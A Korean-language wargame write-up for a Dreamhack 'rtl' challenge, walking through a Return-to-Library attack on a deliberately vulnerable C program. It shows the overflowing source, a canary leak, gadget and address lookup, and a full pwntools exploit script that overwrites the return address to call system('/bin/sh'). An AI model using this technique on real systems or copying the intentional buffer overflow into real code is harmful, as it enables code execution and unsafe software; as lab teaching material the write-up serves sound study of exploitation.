1. Description
2. Check
2.1 C code
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
system("echo 'system@plt");
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
code description
전역 상수인 binsh이 선언되어 있다. 이는 코드 영역에 있다.
main():
setvbuf로 stdin, stout을 초기화 시켜준다.
system함수를 호출한 모습을 확인할 수 있다.
buf에 read함수로 0x100만큼 입력을 받는다.
buf를 출력해 준다.
그 후 다시 buf를 0x100만큼 입력을 받는다.
2.2 file
파일: ELF 64-bit 파일
호출 규약: SYSV
linking 방식: dynamically linked -> plt와 got를 사용한다.
2.3 checksec
Canary found: canary가 존재
NX enabled: NX가 걸려있으므로 heap, stack 영역에서 실행권한이 없다.
Partial RELRO: got영역에 쓰기 권한이 있다.
3. Design
첫번째 입력할 때 Canary를 leak을 한다.
두번째 입력 때, dummy값과, 위에서 구한 canary값을 통해 return address를 overwrite할 수 있도록 하자.
그리고 system 함수는 한 번 호출이 되어서, resolve가 되어 got에 system 함수의 실제 주소가 쓰여있다.
따라서 system 함수의 plt를 다시 호출하면, 바로 참조가 가능하므로 이를 이용해 system('/bin/sh')을 하게 되면 exploit에 성공할 것이다.
4. Exploit
4.1 canary leak
canary 주소가 [rbp-0x8]에 있다.
그리고 read를 호출할 때 두번쨰 인자인 rsi가 [rbp-0x40]이므로, buf의 공간은 [rbp-0x40]임을 알 수 있다.
그렇다면, buf와 canary의 주소가 0x38임을 알 수 있고,
입력할 때, buf에 0x39만큼(canary의 마지막 1byte는 NULL) 입력하면, canary값을 leak할 수 있다.
4.2 binsh 주소 찾기
pwndbg로 ' search /bin/sh'을 찾으면 된다.
rtl의 코드 영역에서 찾을 수 있었다.
/bin/sh 주소는 0x400874이다.
4.3 system 함수
system함수는 위에서 한번 사용을 했기 때문에 바로 참조가 가능할 수 있음을 언급했었다.
따라서 system함수의 plt 주소를 호출하면, plt에서 라이브러리의 system함수의 주소를 바로 호출한다.
pwndbg에서 system함수의 plt 주소를 알아낸 모습이다.
이렇게 system('/bin/sh')을 호출할 수 있는 주소들을 모두 구했다.
4.4 return gadget 찾기
하지만, system('/bin/sh')을 호출할 수 있는 주소들을 모두 구했다고 해서 바로 호출이 가능한 것이 아니다.
system 함수를 호출할 수 있는 형태를 갖춰야지만 호출이 가능하다.
함수를 호출할 수 있는 형태를 갖추기 위해 return gadget을 활용해야만 한다.
gadget은 코드 조각을 의미하고, return gadget은 ret으로 끝나는 코드 조각이다.
system('/bin/sh') 같은 경우는 인자로 사용되는 rdi와, system함수로 return할 수 있는 ret 형태의 gadget이 필요하다.
따라서 pop rdi ; ret을 찾아야 한다.
ROPgadget을 활용해서 pop rdi ; ret을 찾아보자.
return gadget은 0x400853임을 확인할 수 있다.
4.5 vulnerability analysis & exploit design
canary를 leak할 수 있었고, NX로 인해 stack에서 실행권한이 없기에 shellcode를 실행하지 못한다.
하지만, C code에서 system함수를 호출한 것을 활용해
system함수의 실제주소가 got에 있으므로, system함수의 plt를 호출 할 때, 바로 참조가 가능하므로,
return gadget을 활용해 return address를 Overwrite하고
system함수의 plt를 재호출해서 /bin/sh을 실행하면 exploit이 성공할 수 있다.
4.6 exploit code
from pwn import *
p = process('./rtl')
e = ELF('./rtl')
payload = b'A'*0x39
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
binsh = 0x400874
pop_rdi = 0x400853
ret = 0x400285
systemplt = e.plt["system"]
payload = b'A'*0x38 + p64(canary) + b'B'*0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(systemplt)
pause()
p.sendafter("Buf: ", payload)
p.interactive()
padding을 하는 이유는, system은 16bytes 단위로 읽고 해석하기 때문에 넣어준다.
4.7 exploit result
exploit에 성공한 모습을 확인 할 수 있다.
마치며
이렇게 Return to Library 공격기법에 대해 알아보았다.
이번 시간에 배운 return gadget을 활용하여
다음 시간엔 Return Oriented Programming 공격기법에 대해 알아보자.
Reference
https://dreamhack.io/wargame/challenges/353/ (문제 출처)